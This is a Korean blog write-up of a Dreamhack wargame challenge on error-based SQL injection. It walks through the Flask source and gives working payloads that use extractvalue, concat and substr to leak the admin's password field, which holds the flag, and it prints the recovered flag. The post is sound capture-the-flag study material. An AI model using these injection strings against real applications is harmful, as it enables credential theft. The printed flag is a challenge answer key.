문제 설명
Simple Error Based SQL Injection !
Write UP

접속하자마자 SQL문장이 크게 뜨길래 오류인줄 알았지만

uid 입력란에 작성한 그대로 위에 출력이 되는 모습이다.
flag를 어디에 있는지 모르니까 코드를 봐야겠죠 ~

일단 flask에서 이것저것 환경설정하는 코드를 볼 수 있고

여기 sql 코드에서 user 테이블에 uid가 admin이고 upw가 flag인 것을 확인할 수 있다.
근데 일단 upw가 출력될만한 곳이 없어보인다.

사용자 입력 검증 부분이 존재하지 않으니, 문제 제목에서 알 수 있다싶이 sql 문제고..
에러로직으로 admin의 upw 데이터를 가져와야하니 XML의 함수인 extractvalue를 사용해야한다.
admin' AND extractvalue(1,concat(0x3a,(SELECT upw FROM user LIMIT 1))) --
user 테이블에 첫번째 upw를 가져오도록하는 sql인젝션을 작성했다.

엥? flag가 짤려서 나온다.
이럴때는 substr를 사용해서 문자열을 잘라서 가져오는 방법이 있다.
admin' AND extractvalue(1,concat(0x3a,(SELECT substr(upw, 1, 30) FROM user LIMIT 1))) --
-> DH{c3968c78840750168774ad951fc
admin' AND extractvalue(1,concat(0x3a,(SELECT substr(upw, 31, 60) FROM user LIMIT 1))) --
-> 98bf788563c4d}
고로 이 두 부분을 이어붙이면 flag 완성이다! 끗
'모의해킹 > Dreamhack Wargame' 카테고리의 다른 글
| Command Injection Advanced 문제 풀이 (0) | 2025.11.17 |
|---|---|
| command-injection-chat gpt 문제 풀이 (0) | 2025.11.11 |
| xss-2 문제풀이 (0) | 2025.10.29 |
| simple_sqli 문제 풀이 (0) | 2025.10.28 |
| xss-1 문제풀이 (0) | 2025.10.27 |